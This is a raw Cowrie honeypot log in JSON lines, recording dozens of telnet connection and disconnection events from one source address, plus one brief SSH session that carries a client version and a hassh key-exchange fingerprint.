{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"4180a73e2fbe","protocol":"telnet","message":"New connection: 80.241.210.166:52614 (10.17.0.5:23) [session: 4180a73e2fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:25.778134Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54934,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ba3d23488ed","protocol":"telnet","message":"New connection: 80.241.210.166:54934 (10.17.0.5:23) [session: 5ba3d23488ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:27.735223Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54512,"dst_ip":"10.17.0.5","dst_port":23,"session":"935c220f4fdb","protocol":"telnet","message":"New connection: 80.241.210.166:54512 (10.17.0.5:23) [session: 935c220f4fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:29.440739Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":56756,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ee1c9cf88b","protocol":"telnet","message":"New connection: 80.241.210.166:56756 (10.17.0.5:23) [session: 74ee1c9cf88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:29.454808Z"}
{"eventid":"cowrie.session.closed","duration":31.550204515457153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:29.564371Z","src_ip":"80.241.210.166","session":"614d6a507feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58064,"dst_ip":"10.17.0.5","dst_port":23,"session":"136d8f0fb6ec","protocol":"telnet","message":"New connection: 80.241.210.166:58064 (10.17.0.5:23) [session: 136d8f0fb6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:30.027985Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58122,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a60ea20e0a","protocol":"telnet","message":"New connection: 80.241.210.166:58122 (10.17.0.5:23) [session: 09a60ea20e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:30.046112Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":57624,"dst_ip":"10.17.0.5","dst_port":23,"session":"98644786fa7f","protocol":"telnet","message":"New connection: 80.241.210.166:57624 (10.17.0.5:23) [session: 98644786fa7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:30.814140Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58526,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ad3b27d2d6b","protocol":"telnet","message":"New connection: 80.241.210.166:58526 (10.17.0.5:23) [session: 7ad3b27d2d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:30.912417Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58794,"dst_ip":"10.17.0.5","dst_port":23,"session":"c635c78e9690","protocol":"telnet","message":"New connection: 80.241.210.166:58794 (10.17.0.5:23) [session: c635c78e9690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:31.070098Z"}
{"eventid":"cowrie.session.closed","duration":30.901572704315186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:31.236680Z","src_ip":"80.241.210.166","session":"7713d649b45a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":59226,"dst_ip":"10.17.0.5","dst_port":23,"session":"af8b6986e0ea","protocol":"telnet","message":"New connection: 80.241.210.166:59226 (10.17.0.5:23) [session: af8b6986e0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:31.445944Z"}
{"eventid":"cowrie.session.closed","duration":31.7699077129364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:31.728783Z","src_ip":"80.241.210.166","session":"9be50edc533c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55028986930847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:32.968362Z","src_ip":"80.241.210.166","session":"81a13eba37fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":32905,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7238daa21da","protocol":"telnet","message":"New connection: 80.241.210.166:32905 (10.17.0.5:23) [session: e7238daa21da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:33.075010Z"}
{"eventid":"cowrie.session.closed","duration":31.174142837524414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:33.484709Z","src_ip":"80.241.210.166","session":"a5bec34566ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805195808410645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:33.537867Z","src_ip":"80.241.210.166","session":"d7b506408283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":34118,"dst_ip":"10.17.0.5","dst_port":23,"session":"94921205a853","protocol":"telnet","message":"New connection: 80.241.210.166:34118 (10.17.0.5:23) [session: 94921205a853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:33.969654Z"}
{"eventid":"cowrie.session.closed","duration":30.646921634674072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:34.076305Z","src_ip":"80.241.210.166","session":"95ab712f93e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":34530,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd17a15ece0d","protocol":"telnet","message":"New connection: 80.241.210.166:34530 (10.17.0.5:23) [session: bd17a15ece0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:34.248191Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":34636,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e6b0f1be1e","protocol":"telnet","message":"New connection: 80.241.210.166:34636 (10.17.0.5:23) [session: a3e6b0f1be1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:34.369925Z"}
{"eventid":"cowrie.session.closed","duration":30.525715827941895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:34.423179Z","src_ip":"80.241.210.166","session":"e8a1392f2ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0755090713501,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:36.088922Z","src_ip":"80.241.210.166","session":"e951078c83b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37664,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1d0f2ded802","protocol":"telnet","message":"New connection: 80.241.210.166:37664 (10.17.0.5:23) [session: d1d0f2ded802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:37.764893Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38494,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa25331f696","protocol":"telnet","message":"New connection: 80.241.210.166:38494 (10.17.0.5:23) [session: efa25331f696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:37.912235Z"}
{"eventid":"cowrie.session.closed","duration":32.81677961349487,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:39.368695Z","src_ip":"80.241.210.166","session":"2552b847239e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76359534263611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:40.183751Z","src_ip":"80.241.210.166","session":"50212ed86758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":43288,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3658cd5337","protocol":"telnet","message":"New connection: 80.241.210.166:43288 (10.17.0.5:23) [session: 4a3658cd5337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:41.964301Z"}
{"eventid":"cowrie.session.closed","duration":31.495294094085693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:42.735967Z","src_ip":"80.241.210.166","session":"5defd47b9d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":45874,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf2af311526","protocol":"telnet","message":"New connection: 80.241.210.166:45874 (10.17.0.5:23) [session: 9cf2af311526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:43.568405Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":46090,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a8beded39fa","protocol":"telnet","message":"New connection: 80.241.210.166:46090 (10.17.0.5:23) [session: 6a8beded39fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:43.721795Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":46420,"dst_ip":"10.17.0.5","dst_port":23,"session":"464ef8520ed8","protocol":"telnet","message":"New connection: 80.241.210.166:46420 (10.17.0.5:23) [session: 464ef8520ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:44.174927Z"}
{"eventid":"cowrie.session.closed","duration":30.848795652389526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:45.317020Z","src_ip":"80.241.210.166","session":"c8876e2ba14c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":48054,"dst_ip":"10.17.0.5","dst_port":23,"session":"e596f40cdc5c","protocol":"telnet","message":"New connection: 80.241.210.166:48054 (10.17.0.5:23) [session: e596f40cdc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:45.518499Z"}
{"eventid":"cowrie.session.closed","duration":30.35919427871704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:47.227621Z","src_ip":"80.241.210.166","session":"ce4f3941125c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72309947013855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:47.478866Z","src_ip":"80.241.210.166","session":"b0dfd1990275","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":49258,"dst_ip":"10.17.0.5","dst_port":23,"session":"3594a0572866","protocol":"telnet","message":"New connection: 80.241.210.166:49258 (10.17.0.5:23) [session: 3594a0572866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:47.503615Z"}
{"eventid":"cowrie.session.closed","duration":32.42786407470703,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:47.557548Z","src_ip":"80.241.210.166","session":"b287530569eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.035992860794067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:47.743266Z","src_ip":"80.241.210.166","session":"79b2bf8a9f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392813205718994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:48.538651Z","src_ip":"80.241.210.166","session":"4e57d14406f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50894,"dst_ip":"10.17.0.5","dst_port":23,"session":"0462934b04e5","protocol":"telnet","message":"New connection: 80.241.210.166:50894 (10.17.0.5:23) [session: 0462934b04e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:48.841540Z"}
{"eventid":"cowrie.session.closed","duration":31.860050439834595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:51.332595Z","src_ip":"80.241.210.166","session":"a4b295b809fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404635906219482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:51.347966Z","src_ip":"80.241.210.166","session":"2cbf88dd1ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":55298,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2220e44f40","protocol":"telnet","message":"New connection: 80.241.210.166:55298 (10.17.0.5:23) [session: bf2220e44f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:51.534173Z"}
{"eventid":"cowrie.session.closed","duration":31.28785014152527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:51.539678Z","src_ip":"80.241.210.166","session":"8ebcb4069851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50552,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3f7a731c95","protocol":"telnet","message":"New connection: 80.241.210.166:50552 (10.17.0.5:23) [session: af3f7a731c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:51.713775Z"}
{"eventid":"cowrie.session.closed","duration":30.995623350143433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:52.777087Z","src_ip":"80.241.210.166","session":"2eb993bfe2ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58790,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f885f83468","protocol":"telnet","message":"New connection: 80.241.210.166:58790 (10.17.0.5:23) [session: 42f885f83468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:54.216373Z"}
{"eventid":"cowrie.session.closed","duration":30.498009204864502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:54.271027Z","src_ip":"80.241.210.166","session":"c55d3f55a9f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08338260650635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:54.964182Z","src_ip":"80.241.210.166","session":"da8cee1a27d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":57128,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff98f00cf6d","protocol":"telnet","message":"New connection: 80.241.210.166:57128 (10.17.0.5:23) [session: 6ff98f00cf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:54.973640Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":60158,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e7802cc6a0","protocol":"telnet","message":"New connection: 80.241.210.166:60158 (10.17.0.5:23) [session: f8e7802cc6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:55.340935Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15590,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ff4c0d75e8","protocol":"ssh","message":"New connection: 194.59.206.2:15590 (159.203.135.109:22) [session: c0ff4c0d75e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:55.375704Z"}
{"eventid":"cowrie.session.closed","duration":31.283252000808716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:55.672090Z","src_ip":"80.241.210.166","session":"33a75d38cbe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.967586040496826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:56.048064Z","src_ip":"80.241.210.166","session":"e2a5dd2d1b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33104,"dst_ip":"10.17.0.5","dst_port":23,"session":"56363582780d","protocol":"telnet","message":"New connection: 80.241.210.166:33104 (10.17.0.5:23) [session: 56363582780d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:56.322070Z"}
{"eventid":"cowrie.session.closed","duration":31.564059734344482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:56.634323Z","src_ip":"80.241.210.166","session":"24055a0acbd0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:57.172503Z","src_ip":"194.59.206.2","session":"c0ff4c0d75e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:57.177946Z","src_ip":"194.59.206.2","session":"c0ff4c0d75e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.705196380615234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:57.483213Z","src_ip":"80.241.210.166","session":"4180a73e2fbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53664,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f68c8d778f","protocol":"telnet","message":"New connection: 80.241.210.166:53664 (10.17.0.5:23) [session: 96f68c8d778f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:57.498646Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":35062,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a91d8acaf0","protocol":"telnet","message":"New connection: 80.241.210.166:35062 (10.17.0.5:23) [session: 09a91d8acaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:57.855812Z"}
{"eventid":"cowrie.session.closed","duration":30.970909595489502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:58.706001Z","src_ip":"80.241.210.166","session":"5ba3d23488ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:59.125314Z","src_ip":"194.59.206.2","session":"c0ff4c0d75e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37174,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c21bc5bce0d","protocol":"telnet","message":"New connection: 80.241.210.166:37174 (10.17.0.5:23) [session: 0c21bc5bce0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:59.533767Z"}
{"eventid":"cowrie.session.closed","duration":30.899221420288086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:00.353897Z","src_ip":"80.241.210.166","session":"74ee1c9cf88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.637989044189453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:01.078607Z","src_ip":"80.241.210.166","session":"935c220f4fdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19955253601074,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:02.245498Z","src_ip":"80.241.210.166","session":"09a60ea20e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.544970750808716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:02.358982Z","src_ip":"80.241.210.166","session":"98644786fa7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.467559099197388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:02.379724Z","src_ip":"80.241.210.166","session":"7ad3b27d2d6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40845489501953,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:02.436284Z","src_ip":"80.241.210.166","session":"136d8f0fb6ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44759511947632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:02.517609Z","src_ip":"80.241.210.166","session":"c635c78e9690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084161281585693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:02.529967Z","src_ip":"80.241.210.166","session":"af8b6986e0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37710,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f361446187","protocol":"telnet","message":"New connection: 80.241.210.166:37710 (10.17.0.5:23) [session: e1f361446187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:02.952326Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":42750,"dst_ip":"10.17.0.5","dst_port":23,"session":"49c243659cbc","protocol":"telnet","message":"New connection: 80.241.210.166:42750 (10.17.0.5:23) [session: 49c243659cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:03.450499Z"}
{"eventid":"cowrie.session.closed","duration":30.964317321777344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:05.212389Z","src_ip":"80.241.210.166","session":"bd17a15ece0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008596181869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:05.378406Z","src_ip":"80.241.210.166","session":"a3e6b0f1be1e","protocol":"telnet"}
